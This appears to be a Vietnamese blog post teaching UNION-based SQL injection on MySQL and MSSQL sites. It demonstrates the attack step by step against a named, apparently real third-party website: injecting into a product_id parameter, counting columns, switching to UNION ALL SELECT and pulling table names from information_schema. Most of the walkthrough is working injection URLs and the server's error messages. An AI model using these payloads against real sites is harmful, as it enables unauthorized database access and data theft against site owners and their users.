SQL injection thì phân biệt mysql injection và mssql injection là chính
còn php và asp chỉ là vấn đề phụ(gần như giống nhau)...1 số bạn lại nhầm tưởng
+thứ 2:
UNION dùng để kết nối 2 mệnh đề SELECT có hỗ trợ cả mysql và mssql nên có thể xài ở mọi trường hợp
+thứ 3:
mysql kết hợp tốt với php nên thông thường các bạn hack site php chỉ gặp mysql...nhưng ko tuyệt đối là thế mà có thể là mssql,oracle....
+thứ 4:nói thêm
(có sai thì mấy pro góp ý)VD:id=1 các bạn sửa lại thành id=-999 or id=null làm gì?
để mệnh đề SELECT thứ nhất ko trả về kết quả
giả sử trên 1 page có 3 chỗ echo ra kết quả mà SELECT thứ nhất trả về 3 kết quả thì hết chỗ...SELECT thứ 2 tuy trả về kết quả nhưng ko có chỗ echo ra

+thứ 5:
cấu trúc UNION:
Code:
SELECT id,user,pass,level from test UNION SELECT 1,'a','b',2 from example
Áp dụng:

Code:
http://www.peric.ac.cn/product.php?product_id=2'
Code:
mssql_query
attack = UNION nha
đầu tiên đếm column đc 4 column
Code:
http://www.peric.ac.cn/product.php?product_id=-2 union select 1,2,3,4 from information_schema.tables--
Code:
http://www.peric.ac.cn/product.php?product_id=-2 union select null,null,null,null from information_schema.tables--

Code:
Warning: mssql_query(): message: The text, ntext, or image data type cannot be selected as DISTINCT. (severity 16) in /home/www/peric/product.php on line 262
(đơn giản là lọc kết quả trùng nhau)để khắc phục thì xài union all select
kế típ dò type từng column
Code:
http://www.peric.ac.cn/product.php?product_id=-2%20union%20all%20select%201,null,null,null%20from%20information_schema.tables--
=>column type int(thường là ID mà )Code:
http://www.peric.ac.cn/product.php?product_id=-2%20union%20all%20select%201,2,null,null%20from%20information_schema.tables--
Code:
http://www.peric.ac.cn/product.php?product_id=-2%20union%20all%20select%201,2,3,null%20from%20information_schema.tables--
Code:
http://www.peric.ac.cn/product.php?product_id=-2%20union%20all%20select%201,2,'3',null%20from%20information_schema.tables--
Code:
Warning: mssql_query(): message: Line 1: Incorrect syntax near '\'. (severity 15) in /home/www/peric/product.php on line 262
)=>chuyển thành
Code:
http://www.peric.ac.cn/product.php?product_id=-2%20union%20all%20select%201,2,table_name,null%20from%20information_schema.tables--
Code:
http://www.peric.ac.cn/product.php?product_id=-2%20union%20all%20select%201,2,table_name,4%20from%20information_schema.tables--
---hết---
0 nhận xét:
Đăng một Nhận xét